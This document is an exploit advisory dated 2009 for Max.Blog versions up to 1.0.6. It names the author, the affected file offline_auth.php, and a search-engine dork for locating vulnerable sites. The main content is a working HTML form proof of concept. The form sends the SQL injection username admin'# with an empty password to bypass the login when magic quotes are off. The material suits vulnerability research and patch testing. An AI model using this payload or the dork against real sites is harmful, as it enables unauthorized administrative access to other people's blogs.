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Max.Blog <= 1.0.6 (offline_auth.php) Offline Authentication Bypass

###################             Salvatore "drosophila" Fresta    
###################


Application:    Max.Blog
                                http://www.mzbservices.com
Version:                Max.Blog <= 1.0.6
Bug:            * Offline Authentication Bypass
Exploitation:   Remote
Dork:                   intext:"Powered by Max.Blog"
Date:           27 Jan 2009
Discovered by:  Salvatore "drosophila" Fresta
Author:         Salvatore "drosophila" Fresta
                        e-mail: drosophilaxxx@xxxxxxxxx
                

############################################################################

- BUGS

Offline Authentication Bypass Exploit:

        Requisites: magic quotes = off

        File affected: offline_auth.php

        This bug allows a guest to bypass an offline authentication service
        using SQL Injection vulnerability.

############################################################################

- CODE

<html>
        <head>
                <title>
                        Salvatore "drosophila" Fresta - Max.Blog <= 1.0.6 
Offline
Authentication Bypass Exploit
                </title>
        </head>
        <body>
                <form action="http://www.site.com/path/offline_auth.php"; 
method="POST">
                        <input type="text" name="username" value="admin'#" 
size="15">
                        <input type="hidden" name="password">
                        <input type="submit" value="Go!">
                </form>
        </body>
</html>

############################################################################

-- 
Salvatore "drosophila" Fresta
CWNP444351